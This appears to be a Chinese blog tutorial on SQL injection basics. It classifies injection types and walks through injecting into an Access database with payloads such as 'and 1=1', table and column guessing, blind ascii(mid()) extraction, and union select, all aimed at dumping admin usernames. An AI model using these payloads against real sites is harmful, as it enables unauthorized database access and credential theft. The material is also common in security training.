zoukankan      html  css  js  c++  java
  • sql注入基础(原理)

    一、注入的分类

    按数据库分类:1.整形

                         2.字符型(需要考虑单引号闭合的问题,还有注释不必要的语句  #  )

                            eag:  id='admin'  id='admin and1=1'这样会报错  所以需要 id='admin' and '1'='1 ' 这样来进行闭合

                            注意:字符型适合弱类型语言 php asp ,不支持jsp  aspx

    按注入点分类:1.GET

                        2.POTS

                        3.COOKIE

                        4.搜索形注入

                        5.http头注入

    按注入的显示方式:1.显错注入

                              2.盲注(主要是根据返回数据的快慢判断)

    根据sql语句的不同:1.union 2.select 3.update

    二、简单的access以ASCII的方式 注入

    1.判断注入点

     1) and 1=1 返回正常  and 1=2 返回错误 存在注入点

     2) or 1=1 返回错误    or 1=2 返回正常   存在注入点

    2.判断数据库的类型

    and (select count(*)from msysobjects )>0  返回的如果是权限不够的话是access

    and (select count(*)from sysobjects )>0 返回正常的话是sqlserver

    F12审查元素  看network看中间件  根据中间件的黄金组合来大概判断

    3.猜测表名

    and (select count(*) from admin)>=0   返回正常则证明存在admin表 (是根据取admin所有列的数目,如果大于等于0的话证明有admin这个表,大于0的话证明admin存在数据不是空表)

    3.猜测列数(字段数)

    and (select count(*) from adnmin)>  通过不断变化数字1,2,3,4,5...来判断列数

    3.猜测列名(字段名)

    and(select couunt(username) from admin)>=0  返回正常则证明 存在username列

    4.获取数据位数     * mid函数用于从文本字段中提取字符 mid(字段名,取第几位,取几个字符) top2  表示的是前两行,不是第二行

    and (select top 1 ascii(mid(username,1,1))from admin)>0 通过不断改变数字1,2,3,4...  原理: 一直变换数字知道取不出字符时,ascii就不会在大于0

    5.获取数据

    and (select top 1 ascii(mid(username,1,1))from admin)>20  通过1来控制位数  通过变换20来控制ascii对应的具体的值 最终得出ASCII在转化为明文

    三 、access快速获取数据

    1. order by 1 通过不断改变1来判断字段数  假如字段数为5

    2.union select 1,2,3,4,5 from admin返回正常 则证明存在admin表  假如数字2在网页爆出(若果没有爆出数字 解决方法1.报错显示2.审查元素中找)

    3.union select 1,username,3,4,5 from admin  正常则证明存在username列 并且username的数据也会在相应的2的位置爆出来

  • 相关阅读:
    JAVA基础——编程练习(二)
    JAVA基础——面向对象三大特性:封装、继承、多态
    JVM内存
    50. Pow(x, n) (JAVA)
    47. Permutations II (JAVA)
    46. Permutations (JAVA)
    45. Jump Game II (JAVA)
    43. Multiply Strings (JAVA)
    42. Trapping Rain Water (JAVA)
    41. First Missing Positive (JAVA)
  • 原文地址:https://www.cnblogs.com/pojun/p/6824724.html
Copyright © 2011-2022 走看看